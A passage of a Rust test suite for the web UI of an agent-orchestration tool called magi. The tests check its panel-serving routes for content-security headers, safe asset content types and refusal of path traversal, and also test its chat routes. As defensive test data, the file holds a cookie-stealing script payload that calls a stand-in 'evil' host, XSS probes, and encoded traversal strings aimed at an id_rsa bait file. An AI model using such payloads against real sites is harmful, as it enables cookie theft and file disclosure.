4300        addr: SocketAddr,
4301    }
4302
4303    impl Fixture {
4304        async fn start() -> Self {
4305            Self::with_loop(launch_idle).await
4306        }
4307
4308        /// A fixture whose loop is `launch`.
4309        async fn with_loop(launch: Launch) -> Self {
4310            let home = TempDir::new().expect("temp home");
4311            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
4312            Self { home, addr }
4313        }
4314
4315        /// A fixture whose `ui.repo` is a real directory rather than the
4316        /// usual placeholder - for the routes that read config off it
4317        /// (`GET /api/repos`) and would otherwise have nothing to discover.
4318        async fn with_repo(repo: PathBuf) -> Self {
4319            let home = TempDir::new().expect("temp home");
4320            let addr = Self::serve(home.path(), repo, launch_idle).await;
4321            Self { home, addr }
4322        }
4323
4324        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
4325            let queue = Queue::at(home.join("queue"));
4326            let runs = home.join("runs");
4327            std::fs::create_dir_all(&runs).expect("runs dir");
4328            let worktrees = home.join("wt").join("magi");
4329            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
4330            let ui = Ui::new(
4331                queue,
4332                Questions::at(home.join("questions")),
4333                Chats::at(home.join("chats")),
4334                Talks::at(home.join("talks")),
4335                runs,
4336                home.to_path_buf(),
4337                repo,
4338            )
4339            .with_worktrees_root(worktrees)
4340            .with_launch(launch);
4341            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
4342                .await
4343                .expect("bind loopback");
4344            let addr = listener.local_addr().expect("local addr");
4345            tokio::spawn(async move {
4346                let _ = axum::serve(listener, ui.router()).await;
4347            });
4348            addr
4349        }
4350
4351        fn queue(&self) -> Queue {
4352            Queue::at(self.home.path().join("queue"))
4353        }
4354
4355        fn questions(&self) -> Questions {
4356            Questions::at(self.home.path().join("questions"))
4357        }
4358
4359        fn chats(&self) -> Chats {
4360            Chats::at(self.home.path().join("chats"))
4361        }
4362
4363        fn talks(&self) -> Talks {
4364            Talks::at(self.home.path().join("talks"))
4365        }
4366
4367        fn runs(&self) -> PathBuf {
4368            self.home.path().join("runs")
4369        }
4370
4371        async fn get(&self, path: &str) -> Res {
4372            request(self.addr, "GET", path, None).await
4373        }
4374
4375        /// The status and headers without the body, which is how the front end
4376        /// preflights a panel: a sandboxed frame is opaque to the parent
4377        /// document, so the only way to tell "no panel" from "a panel that
4378        /// rendered blank" is to ask before mounting.
4379        async fn head(&self, path: &str) -> Res {
4380            request(self.addr, "HEAD", path, None).await
4381        }
4382
4383        async fn post(&self, path: &str, body: Option<&str>) -> Res {
4384            request(self.addr, "POST", path, body).await
4385        }
4386
4387        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
4388            request_with(self.addr, "GET", path, None, extra).await
4389        }
4390
4391        async fn delete(&self, path: &str) -> Res {
4392            request(self.addr, "DELETE", path, None).await
4393        }
4394
4395        /// `POST` a raw body with its own headers - see [`request_bytes`].
4396        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
4397            request_bytes(self.addr, path, headers, body).await
4398        }
4399    }
4400
4401    struct Res {
4402        status: u16,
4403        headers: String,
4404        /// The header block with its original casing, for the assertions that
4405        /// compare a header *value* rather than looking for a name. Lowercasing
4406        /// a CSP would hide a directive spelled with a capital letter, and the
4407        /// whole point of that test is that the string is exactly right.
4408        head: String,
4409        body: String,
4410        /// The body before any UTF-8 handling, for the routes that serve
4411        /// something other than text. A panel asset is a PNG as often as not,
4412        /// and `from_utf8_lossy` would silently replace half of it.
4413        bytes: Vec<u8>,
4414    }
4415
4416    impl Res {
4417        fn json(&self) -> Value {
4418            serde_json::from_str(&self.body)
4419                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
4420        }
4421
4422        /// One header's value verbatim, or `None` when it was not sent.
4423        fn header(&self, name: &str) -> Option<&str> {
4424            self.head.lines().find_map(|line| {
4425                let (key, value) = line.split_once(':')?;
4426                key.trim()
4427                    .eq_ignore_ascii_case(name)
4428                    .then(|| value.trim_start().trim_end_matches('\r'))
4429            })
4430        }
4431    }
4432
4433    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
4434    /// be read to end-of-stream without parsing framing.
4435    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
4436        request_with(addr, method, path, body, &[]).await
4437    }
4438
4439    /// As [`request`], with extra request headers - conditional GETs need
4440    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
4441    /// worse than one that sets none.
4442    async fn request_with(
4443        addr: SocketAddr,
4444        method: &str,
4445        path: &str,
4446        body: Option<&str>,
4447        extra: &[(&str, &str)],
4448    ) -> Res {
4449        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4450        for (name, value) in extra {
4451            head.push_str(&format!("{name}: {value}\r\n"));
4452        }
4453        if let Some(body) = body {
4454            head.push_str("Content-Type: application/json\r\n");
4455            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
4456        }
4457        head.push_str("\r\n");
4458        if let Some(body) = body {
4459            head.push_str(body);
4460        }
4461        let mut socket = tokio::net::TcpStream::connect(addr)
4462            .await
4463            .expect("connect to the test server");
4464        socket
4465            .write_all(head.as_bytes())
4466            .await
4467            .expect("write request");
4468        let mut raw = Vec::new();
4469        socket.read_to_end(&mut raw).await.expect("read response");
4470        // Split on the raw bytes rather than on a lossy string, so a binary
4471        // body survives to be compared byte for byte.
4472        let split = raw
4473            .windows(4)
4474            .position(|w| w == b"\r\n\r\n")
4475            .expect("a header block");
4476        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4477        let bytes = raw[split + 4..].to_vec();
4478        let status = head
4479            .lines()
4480            .next()
4481            .and_then(|line| line.split_whitespace().nth(1))
4482            .and_then(|code| code.parse().ok())
4483            .expect("a status line");
4484        Res {
4485            status,
4486            headers: head.to_lowercase(),
4487            head,
4488            body: String::from_utf8_lossy(&bytes).into_owned(),
4489            bytes,
4490        }
4491    }
4492
4493    /// A `POST` carrying a raw binary body and its own headers, for the
4494    /// attachment upload route - `request_with` only ever sends
4495    /// `Content-Type: application/json`, which is wrong for an image and
4496    /// would corrupt anything not valid UTF-8 by round-tripping it through
4497    /// `&str` first.
4498    async fn request_bytes(
4499        addr: SocketAddr,
4500        path: &str,
4501        headers: &[(&str, &str)],
4502        body: &[u8],
4503    ) -> Res {
4504        let mut head = format!("POST {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
4505        for (name, value) in headers {
4506            head.push_str(&format!("{name}: {value}\r\n"));
4507        }
4508        head.push_str(&format!("Content-Length: {}\r\n\r\n", body.len()));
4509        let mut socket = tokio::net::TcpStream::connect(addr)
4510            .await
4511            .expect("connect to the test server");
4512        socket
4513            .write_all(head.as_bytes())
4514            .await
4515            .expect("write request head");
4516        socket.write_all(body).await.expect("write request body");
4517        let mut raw = Vec::new();
4518        socket.read_to_end(&mut raw).await.expect("read response");
4519        let split = raw
4520            .windows(4)
4521            .position(|w| w == b"\r\n\r\n")
4522            .expect("a header block");
4523        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
4524        let bytes = raw[split + 4..].to_vec();
4525        let status = head
4526            .lines()
4527            .next()
4528            .and_then(|line| line.split_whitespace().nth(1))
4529            .and_then(|code| code.parse().ok())
4530            .expect("a status line");
4531        Res {
4532            status,
4533            headers: head.to_lowercase(),
4534            head,
4535            body: String::from_utf8_lossy(&bytes).into_owned(),
4536            bytes,
4537        }
4538    }
4539
4540    /// A run on disk, without touching the process-global magi home.
4541    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
4542        let mut state = RunState::new(
4543            PathBuf::from("/repo/magi"),
4544            "main".to_owned(),
4545            "0123456789abcdef".to_owned(),
4546            "Add a web UI\n\nMobile first.".to_owned(),
4547            Config::default(),
4548        );
4549        state.id = id.to_owned();
4550        state.status = status;
4551        let dir = runs.join(id);
4552        std::fs::create_dir_all(&dir).expect("run dir");
4553        std::fs::write(
4554            dir.join("run.json"),
4555            serde_json::to_string_pretty(&state).expect("serialize run"),
4556        )
4557        .expect("write run.json");
4558    }
4559
4560    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
4561        let body = serde_json::json!({
4562            "schema": 1,
4563            "pid": 4242,
4564            "started_at": Timestamp::now().to_string(),
4565            "updated_at": updated_at.to_string(),
4566            "idle": false,
4567            "current": [{ "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" }],
4568            "completed": 7,
4569            "polls": 143,
4570        });
4571        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
4572    }
4573
4574    /// A loop that starts, finds nothing to do, and waits to be told to stop.
4575    ///
4576    /// No test in this file may start the real loop - see [`Ui::launch`] for
4577    /// why - so this stands in for the only thing the routes need a loop to
4578    /// do: keep running until `Stop` is set, then return. A real
4579    /// `serve_until` here would resolve its queue and its status file through
4580    /// the process-global magi home, claim whatever it found in the
4581    /// operator's live backlog, overwrite the status file of the `magi serve`
4582    /// that owns it, and spend real agent quota on a real competition.
4583    fn launch_idle(
4584        _opts: daemon::Opts,
4585        stop: daemon::Stop,
4586    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4587        Box::pin(async move {
4588            while !stop.stopped() {
4589                tokio::time::sleep(Duration::from_millis(2)).await;
4590            }
4591            Ok(())
4592        })
4593    }
4594
4595    /// A loop that fails on the way up, the way one whose home has gone
4596    /// read-only does.
4597    fn launch_broken(
4598        _opts: daemon::Opts,
4599        _stop: daemon::Stop,
4600    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4601        Box::pin(async {
4602            Err(anyhow::anyhow!(
4603                "publish the daemon status file: read-only file system"
4604            ))
4605        })
4606    }
4607
4608    /// The address the parking loop knocks on, and what it heard there.
4609    ///
4610    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
4611    /// capture a fixture's address; this is how it is handed one. Only
4612    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
4613    /// these, so nothing else in this binary can race them.
4614    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
4615    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
4616
4617    /// A loop that, once it is asked to stop, checks the deck still answers
4618    /// before it goes.
4619    ///
4620    /// It stands in for a run mid-node: `finish_loop` waits for this future,
4621    /// so the request it makes is strictly inside the park window - no sleep
4622    /// and no polling needed to be sure of that.
4623    fn launch_knocking_on_the_way_out(
4624        _opts: daemon::Opts,
4625        stop: daemon::Stop,
4626    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
4627        Box::pin(async move {
4628            while !stop.stopped() {
4629                tokio::time::sleep(Duration::from_millis(2)).await;
4630            }
4631            let addr = PARK_KNOCK
4632                .lock()
4633                .expect("park knock")
4634                .expect("the test set an address");
4635            let heard = request(addr, "GET", "/api/health", None).await.status;
4636            *PARK_HEARD.lock().expect("park heard") = Some(heard);
4637            Ok(())
4638        })
4639    }
4640
4641    /// The loop view once `want` accepts it.
4642    ///
4643    /// Polled rather than asserted straight after the POST because stopping
4644    /// is deliberately not instant - that is the contract - and rather than
4645    /// slept through because a fixed wait is either flaky or slow. Two
4646    /// seconds is far longer than a stand-in loop needs and still finite, so
4647    /// a genuine hang fails the test instead of hanging the suite.
4648    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
4649        for _ in 0..200 {
4650            let view = fx.get("/api/loop").await.json();
4651            if want(&view) {
4652                return view;
4653            }
4654            tokio::time::sleep(Duration::from_millis(10)).await;
4655        }
4656        panic!(
4657            "the loop never settled: {}",
4658            fx.get("/api/loop").await.json()
4659        );
4660    }
4661
4662    /// File an open question directly in the store the server reads.
4663    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
4664        let store = fx.questions();
4665        let mut q = Question::new(
4666            "20260902-000000-beef".to_owned(),
4667            "implement".to_owned(),
4668            "impl-A".to_owned(),
4669            summary.to_owned(),
4670            "because it matters".to_owned(),
4671            choices.iter().map(|c| (*c).to_owned()).collect(),
4672        );
4673        store.put(&mut q).expect("put question");
4674        q.id
4675    }
4676
4677    /// A question with a panel the server can serve, plus the named assets.
4678    ///
4679    /// Written through `Questions::put_panel` rather than by laying out the
4680    /// directory here, so these tests exercise the same on-disk shape the
4681    /// agents produce and cannot pass against a layout only the tests know.
4682    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
4683        let store = fx.questions();
4684        let mut q = Question::new(
4685            "20260902-000000-beef".to_owned(),
4686            "land".to_owned(),
4687            "fix".to_owned(),
4688            "Merge this?".to_owned(),
4689            "the diff is in the panel".to_owned(),
4690            vec!["merge".to_owned(), "hold".to_owned()],
4691        );
4692        // Staged outside the questions root, because `put_panel` copies from
4693        // wherever the agent left its files.
4694        let staging = fx.home.path().join("staging");
4695        std::fs::create_dir_all(&staging).expect("staging dir");
4696        let sources: Vec<PathBuf> = assets
4697            .iter()
4698            .map(|(name, bytes)| {
4699                let path = staging.join(name);
4700                std::fs::write(&path, bytes).expect("write staged asset");
4701                path
4702            })
4703            .collect();
4704        store
4705            .put_panel(&mut q, html, &sources)
4706            .expect("write the panel");
4707        store.put(&mut q).expect("put question");
4708        q.id
4709    }
4710
4711    /// An interview on disk, without talking to a model.
4712    ///
4713    /// Written as JSON straight into the store the server reads, because the
4714    /// only constructor `chat` offers spawns an agent CLI. The one thing this
4715    /// cannot make up is the seat, so it is built with the real
4716    /// `SeatState::new` and serialized - the alternative, hand-writing that
4717    /// object, would make these tests fail the day the seat gains a field.
4718    fn interview(fx: &Fixture, id: &str, status: &str, draft: Option<&str>) -> String {
4719        let store = fx.chats();
4720        std::fs::create_dir_all(store.root()).expect("chats dir");
4721        let seat = serde_json::to_value(crate::agent::SeatState::new("plan", "sonnet", 7))
4722            .expect("serialize a seat");
4723        let body = serde_json::json!({
4724            "schema": 1,
4725            "id": id,
4726            "repo": "/repo/magi",
4727            "agent": "sonnet",
4728            "status": status,
4729            "turns": [
4730                { "who": "operator", "body": "rework the config loader",
4731                  "at": Timestamp::now().to_string() },
4732                { "who": "agent", "body": "Which part is hurting?",
4733                  "at": Timestamp::now().to_string() },
4734            ],
4735            "draft": draft,
4736            "task": Value::Null,
4737            "created_at": Timestamp::now().to_string(),
4738            "updated_at": Timestamp::now().to_string(),
4739            "seat": seat,
4740        });
4741        std::fs::write(store.path_of(id), body.to_string()).expect("write the chat");
4742        // A chat the server cannot parse would make every assertion below a
4743        // 500 that says nothing about the route under test.
4744        store.get(id).expect("the seeded chat has to be readable");
4745        id.to_owned()
4746    }
4747
4748    /// A talk on disk, without talking to a model. Mirrors [`interview`] for
4749    /// `talk::Talk`.
4750    fn seed_talk(fx: &Fixture, id: &str, status: &str) -> String {
4751        let store = fx.talks();
4752        std::fs::create_dir_all(store.root()).expect("talks dir");
4753        let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "mock", 7))
4754            .expect("serialize a seat");
4755        let body = serde_json::json!({
4756            "schema": 1,
4757            "id": id,
4758            "repo": "/repo/magi",
4759            "agent": "mock",
4760            "status": status,
4761            "turns": [],
4762            "created_at": Timestamp::now().to_string(),
4763            "updated_at": Timestamp::now().to_string(),
4764            "seat": seat,
4765        });
4766        std::fs::write(store.path_of(id), body.to_string()).expect("write the talk");
4767        store.get(id).expect("the seeded talk has to be readable");
4768        id.to_owned()
4769    }
4770
4771    /// A task file that satisfies `plan::review_draft`, so `POST /file` has
4772    /// something to accept.
4773    fn good_draft() -> String {
4774        "# Rework the config loader\n\n\
4775         ## Why\n\n\
4776         It re-reads `magi.toml` on every lookup, so a run that asks for the \
4777         roster four hundred times pays four hundred parses of the same file.\n\n\
4778         ## What\n\n\
4779         Load the layers once when the run starts and hand the merged value \
4780         around. Nothing about the file format changes.\n\n\
4781         ## Acceptance criteria\n\n\
4782         - `Config::discover` is called exactly once per run.\n\
4783         - `cargo test` passes with no change to any existing assertion.\n"
4784            .to_owned()
4785    }
4786
4787    #[tokio::test]
4788    async fn both_panel_routes_send_the_whole_policy_that_makes_agent_html_safe() {
4789        let fx = Fixture::start().await;
4790        let id = panel(
4791            &fx,
4792            "<h1>Merge?</h1><img src=\"diff.svg\">",
4793            &[("diff.svg", b"<svg xmlns='http://www.w3.org/2000/svg'/>")],
4794        );
4795
4796        for path in [
4797            format!("/api/questions/{id}/panel"),
4798            format!("/api/questions/{id}/asset/diff.svg"),
4799        ] {
4800            let res = fx.get(&path).await;
4801            assert_eq!(res.status, 200, "{path}: {}", res.body);
4802            // The whole string, not a substring. A weakened directive - an
4803            // `img-src *` that lets a panel beacon out to a remote host, a
4804            // `script-src` anything, a missing `form-action` that lets it post
4805            // the owner's decision to a third party - has to fail here, and a
4806            // `contains` assertion would let every one of those through.
4807            assert_eq!(
4808                res.header("content-security-policy"),
4809                Some(
4810                    "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
4811                     font-src data:; base-uri 'none'; form-action 'none'; \
4812                     frame-ancestors 'self'"
4813                ),
4814                "{path} is the only thing between a hostile panel and the tailnet"
4815            );
4816            assert_eq!(
4817                res.header("x-content-type-options"),
4818                Some("nosniff"),
4819                "{path}: a browser must not re-decide the type we sent"
4820            );
4821            assert_eq!(
4822                res.header("referrer-policy"),
4823                Some("no-referrer"),
4824                "{path}: a panel must not leak the question id off the machine"
4825            );
4826
4827            // The front end mounts the frame only after a `HEAD` says the
4828            // panel is there, so `HEAD` has to answer with the same status and
4829            // the same policy as `GET` - a preflight that came back without
4830            // the CSP would mean a frame mounted on an unverified promise.
4831            let pre = fx.head(&path).await;
4832            assert_eq!(pre.status, res.status, "{path}: HEAD must agree with GET");
4833            assert_eq!(
4834                pre.header("content-security-policy"),
4835                res.header("content-security-policy"),
4836                "{path}: the preflight carries the same policy"
4837            );
4838            assert_eq!(
4839                pre.header("content-type"),
4840                res.header("content-type"),
4841                "{path}: the preflight carries the same type"
4842            );
4843        }
4844    }
4845
4846    #[tokio::test]
4847    async fn a_panel_reaches_the_browser_byte_for_byte() {
4848        let fx = Fixture::start().await;
4849        // Markup a sanitiser would be tempted to touch: a stray `<`, a script
4850        // tag, an entity, and a multi-byte character. The sandbox is what makes
4851        // this safe, so nothing here may be rewritten on the way out - a
4852        // rewritten diff is a diff the owner cannot trust.
4853        let html = "<h1>Merge?</h1><p>a &lt; b — 変更</p><script>alert(1)</script>";
4854        let id = panel(&fx, html, &[]);
4855
4856        let res = fx.get(&format!("/api/questions/{id}/panel")).await;
4857
4858        assert_eq!(res.status, 200);
4859        assert_eq!(res.bytes, html.as_bytes(), "served verbatim, not sanitised");
4860        assert_eq!(res.header("content-type"), Some("text/html; charset=utf-8"));
4861        assert_eq!(
4862            res.header("content-disposition"),
4863            None,
4864            "the panel itself is rendered in the frame, not downloaded"
4865        );
4866    }
4867
4868    #[tokio::test]
4869    async fn an_svg_asset_is_a_download_and_a_png_is_not() {
4870        let fx = Fixture::start().await;
4871        let svg = b"<svg xmlns='http://www.w3.org/2000/svg'><script>alert(1)</script></svg>";
4872        let png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".as_slice();
4873        let id = panel(
4874            &fx,
4875            "<img src=\"diff.svg\"><img src=\"shot.png\">",
4876            &[("diff.svg", svg), ("shot.png", png)],
4877        );
4878
4879        let as_svg = fx.get(&format!("/api/questions/{id}/asset/diff.svg")).await;
4880        let as_png = fx.get(&format!("/api/questions/{id}/asset/shot.png")).await;
4881
4882        assert_eq!(as_svg.status, 200);
4883        assert_eq!(as_svg.header("content-type"), Some("image/svg+xml"));
4884        // An SVG is XML that may carry script. Inside the panel it is an
4885        // `<img src>` and the script cannot run; opened at the top level it
4886        // would be a document on magi's own origin, so the browser is told to
4887        // download it instead of rendering it.
4888        assert_eq!(as_svg.header("content-disposition"), Some("attachment"));
4889
4890        assert_eq!(as_png.status, 200);
4891        assert_eq!(as_png.header("content-type"), Some("image/png"));
4892        assert_eq!(
4893            as_png.header("content-disposition"),
4894            None,
4895            "a raster image has no execution surface, so tapping it still shows it"
4896        );
4897        assert_eq!(as_png.bytes, png, "a binary asset survives the round trip");
4898    }
4899
4900    #[tokio::test]
4901    async fn an_html_asset_is_never_served_as_html() {
4902        let fx = Fixture::start().await;
4903        let id = panel(
4904            &fx,
4905            "<p>see the notes</p>",
4906            &[
4907                (
4908                    "notes.html",
4909                    b"<script>fetch('http://evil/'+document.cookie)</script>",
4910                ),
4911                ("hook.js", b"fetch('http://evil/')"),
4912                ("data.json", b"{}"),
4913                ("HEADLINE.TXT", b"plain"),
4914            ],
4915        );
4916
4917        for name in ["notes.html", "hook.js", "data.json"] {
4918            let res = fx.get(&format!("/api/questions/{id}/asset/{name}")).await;
4919            assert_eq!(res.status, 200, "{name}: {}", res.body);
4920            // Serving this as text/html would be a way to reach agent markup
4921            // at the top level of the operator's browser, outside the frame's
4922            // sandbox and outside its CSP - which is the whole thing the panel
4923            // design exists to prevent. Unlisted types are downloads.
4924            assert_eq!(
4925                res.header("content-type"),
4926                Some("application/octet-stream"),
4927                "{name} must not be a type the browser will execute or render"
4928            );
4929        }
4930        // The whitelist is matched case-insensitively, so an agent shouting the
4931        // extension still gets a readable file rather than a download.
4932        let txt = fx
4933            .get(&format!("/api/questions/{id}/asset/HEADLINE.TXT"))
4934            .await;
4935        assert_eq!(
4936            txt.header("content-type"),
4937            Some("text/plain; charset=utf-8")
4938        );
4939    }
4940
4941    #[tokio::test]
4942    async fn no_spelling_of_a_traversing_asset_name_reaches_the_filesystem() {
4943        let fx = Fixture::start().await;
4944        let id = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4945        // Something outside the panel directory that a traversal would reach if
4946        // one got through, so a passing test is not merely "the file was
4947        // missing anyway".
4948        std::fs::write(fx.questions().root().join("id_rsa"), b"secret").expect("write the bait");
4949
4950        // Decoded before this server's handler sees them: axum percent-decodes
4951        // path parameters, so `name` arrives as `../id_rsa`, `..\id_rsa` and a
4952        // string with a NUL in it. All three look like ordinary single-segment
4953        // filenames to the router, so the router passes them through and
4954        // `valid_asset_name` is what refuses them - for the literal `..`, and
4955        // for `/`, `\` and NUL not being in the permitted character set.
4956        for encoded in [
4957            "%2e%2e%2fid_rsa",
4958            "..%2fid_rsa",
4959            "..%5cid_rsa",
4960            "%2e%2e%5cid_rsa",
4961            "diff%00.svg",
4962            "..",
4963            ".hidden",
4964            "%2e%2e%2f%2e%2e%2fid_rsa",
4965        ] {
4966            let res = fx
4967                .get(&format!("/api/questions/{id}/asset/{encoded}"))
4968                .await;
4969            assert_eq!(
4970                res.status, 400,
4971                "`{encoded}` has to be refused by name, not looked up: {}",
4972                res.body
4973            );
4974            assert!(res.json()["error"].is_string(), "{}", res.body);
4975        }
4976
4977        // Not decoded, and never this handler's problem: a real slash makes the
4978        // request one segment too long for `/api/questions/{id}/asset/{name}`,
4979        // so axum's router has no route to match and answers before any code
4980        // here runs. Asserted so that a future route with a wildcard segment
4981        // cannot quietly open this door.
4982        for literal in ["../id_rsa", "../../questions/id_rsa", "..%5c../id_rsa"] {
4983            let res = fx
4984                .get(&format!("/api/questions/{id}/asset/{literal}"))
4985                .await;
4986            assert_eq!(
4987                res.status, 404,
4988                "`{literal}` must not match the asset route at all: {}",
4989                res.body
4990            );
4991        }
4992    }
4993
4994    #[tokio::test]
4995    async fn a_missing_panel_and_an_unknown_asset_are_both_json_404s() {
4996        let fx = Fixture::start().await;
4997        let plain = ask(&fx, "Which backend?", &["SQLite"]);
4998        let with_panel = panel(&fx, "<p>x</p>", &[("diff.svg", b"<svg/>")]);
4999
5000        // A question nobody wrote a panel for. The client preflights with HEAD
5001        // and cannot see inside a sandboxed frame, so this must be a status and
5002        // not an empty page.
5003        let none = fx.get(&format!("/api/questions/{plain}/panel")).await;
5004        assert_eq!(none.status, 404, "{}", none.body);
5005        assert!(none.json()["error"].is_string(), "{}", none.body);
5006        assert_eq!(
5007            fx.head(&format!("/api/questions/{plain}/panel"))
5008                .await
5009                .status,
5010            404,
5011            "the preflight is the only way the client can learn this"
5012        );
5013
5014        // A name that is perfectly legal and simply is not there.
5015        let missing = fx
5016            .get(&format!("/api/questions/{with_panel}/asset/absent.png"))
5017            .await;
5018        assert_eq!(missing.status, 404, "{}", missing.body);
5019        assert!(missing.json()["error"].is_string(), "{}", missing.body);
5020
5021        // A question that does not exist at all, on both routes.
5022        assert_eq!(fx.get("/api/questions/nope/panel").await.status, 404);
5023        assert_eq!(
5024            fx.get("/api/questions/nope/asset/diff.svg").await.status,
5025            404
5026        );
5027    }
5028
5029    #[tokio::test]
5030    async fn the_chat_list_is_open_first_and_carries_the_whole_transcript() {
5031        let fx = Fixture::start().await;
5032        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
5033
5034        interview(&fx, "20260903-014455-old1", "filed", Some(&good_draft()));
5035        interview(&fx, "20260903-014456-open", "open", None);
5036
5037        let listed = fx.get("/api/chats").await;
5038        assert_eq!(listed.status, 200, "{}", listed.body);
5039        let chats = listed.json();
5040        assert_eq!(chats.as_array().map(Vec::len), Some(2));
5041        assert_eq!(
5042            chats[0]["id"], "20260903-014456-open",
5043            "an unfinished interview is what the operator came back for: {chats}"
5044        );
5045        assert_eq!(chats[0]["status"], "open");
5046        // The transcript is the only thing a chat is made of, so the list
5047        // carries it rather than making the phone fetch each one.
5048        assert_eq!(chats[0]["turns"][0]["who"], "operator");
5049        assert_eq!(chats[0]["turns"][1]["body"], "Which part is hurting?");
5050        assert_eq!(chats[1]["status"], "filed");
5051
5052        // The one number that says "you left an interview open"; a filed one
5053        // has become a task and must not keep counting.
5054        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 1);
5055    }
5056
5057    #[tokio::test]
5058    async fn one_interview_is_readable_by_short_id_and_an_unknown_one_is_a_404() {
5059        let fx = Fixture::start().await;
5060        let id = interview(&fx, "20260903-014455-ab12", "open", None);
5061
5062        let full = fx.get(&format!("/api/chats/{id}")).await;
5063        assert_eq!(full.status, 200, "{}", full.body);
5064        assert_eq!(full.json()["id"], id);
5065        assert_eq!(full.json()["repo"], "/repo/magi");
5066
5067        // The short id is what the operator reads off a notification.
5068        let short = fx.get("/api/chats/ab12").await;
5069        assert_eq!(short.status, 200, "{}", short.body);
5070        assert_eq!(short.json()["id"], id);
5071
5072        let missing = fx.get("/api/chats/nosuchchat").await;
5073        assert_eq!(missing.status, 404, "{}", missing.body);
5074        assert!(
5075            missing.json()["error"]
5076                .as_str()
5077                .is_some_and(|e| e.contains("chat")),
5078            "the error names what was not found: {}",
5079            missing.body
5080        );
5081    }
5082
5083    #[tokio::test]
5084    async fn filing_a_bad_draft_reports_every_problem_at_once() {
5085        let fx = Fixture::start().await;
5086        let id = interview(&fx, "20260903-014455-ab12", "open", Some("do the thing"));
5087
5088        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
5089
5090        assert_eq!(res.status, 400, "{}", res.body);
5091        let problems = res.json()["problems"].clone();
5092        let problems = problems.as_array().expect("an array of problems");
5093        // Every problem, not the first one. The operator is on a phone: a
5094        // draft with no title and no acceptance criteria is one edit, and
5095        // reporting it one problem per round trip means asking the interviewer
5096        // to rewrite it twice.
5097        assert!(
5098            problems.len() > 1,
5099            "one round trip has to be enough to fix the draft: {}",
5100            res.body
5101        );
5102        assert!(problems.iter().all(|p| p.is_string()), "{}", res.body);
5103        assert!(res.json()["error"].is_string(), "{}", res.body);
5104        assert!(
5105            fx.queue().list().is_empty(),
5106            "a refused draft must not reach the queue"
5107        );
5108
5109        // An interview the agent has not drafted for at all is the same shape,
5110        // so the front end has one path rather than two.
5111        let empty = interview(&fx, "20260903-014456-cd34", "open", None);
5112        let res = fx.post(&format!("/api/chats/{empty}/file"), None).await;
5113        assert_eq!(res.status, 400, "{}", res.body);
5114        assert_eq!(
5115            res.json()["problems"].as_array().map(Vec::len),
5116            Some(1),
5117            "{}",
5118            res.body
5119        );
5120    }
5121
5122    #[tokio::test]
5123    async fn filing_a_good_draft_queues_it_and_answers_with_the_task_id() {
5124        let fx = Fixture::start().await;
5125        let draft = good_draft();
5126        let id = interview(&fx, "20260903-014455-ab12", "open", Some(&draft));
5127
5128        let res = fx.post(&format!("/api/chats/{id}/file"), None).await;
5129
5130        assert_eq!(res.status, 200, "{}", res.body);
5131        let task = res.json()["task"]
5132            .as_str()
5133            .unwrap_or_else(|| panic!("a task id: {}", res.body))
5134            .to_owned();
5135
5136        // The point of the whole browser interview: a real task in the real
5137        // queue, indistinguishable from one filed at a terminal.
5138        let queued = fx.queue().get(&task).expect("the task is on disk");
5139        assert_eq!(
5140            queued.instruction, draft,
5141            "the draft reaches the graph verbatim"
5142        );
5143        assert_eq!(queued.repo, PathBuf::from("/repo/magi"));
5144        assert_eq!(
5145            fx.get("/api/queue").await.json()[0]["id"],
5146            task,
5147            "the filed task is the listed one"
5148        );
5149
5150        // The interview is finished, so it stops asking to be finished.
5151        let after = fx.get(&format!("/api/chats/{id}")).await.json();
5152        assert_eq!(after["task"], task);
5153        assert_eq!(after["status"], "filed");
5154        assert_eq!(fx.get("/api/health").await.json()["chats_open"], 0);
5155    }
5156
5157    #[tokio::test]
5158    async fn abandoning_an_open_chat_marks_it_abandoned_and_is_idempotent() {
5159        let fx = Fixture::start().await;
5160        let id = interview(&fx, "20260903-014455-ab12", "open", None);
5161
5162        let res = fx.post(&format!("/api/chats/{id}/abandon"), None).await;
5163        assert_eq!(res.status, 200, "{}", res.body);
5164        assert_eq!(res.json()["status"], "abandoned");
5165        assert_eq!(
5166            fx.chats().get(&id).expect("get").status,
5167            crate::chat::ChatStatus::Abandoned
5168        );
5169
5170        // Idempotent: abandoning an already-abandoned chat is not an error.
5171        let again = fx.post(&format!("/api/chats/{id}/abandon"), None).await;
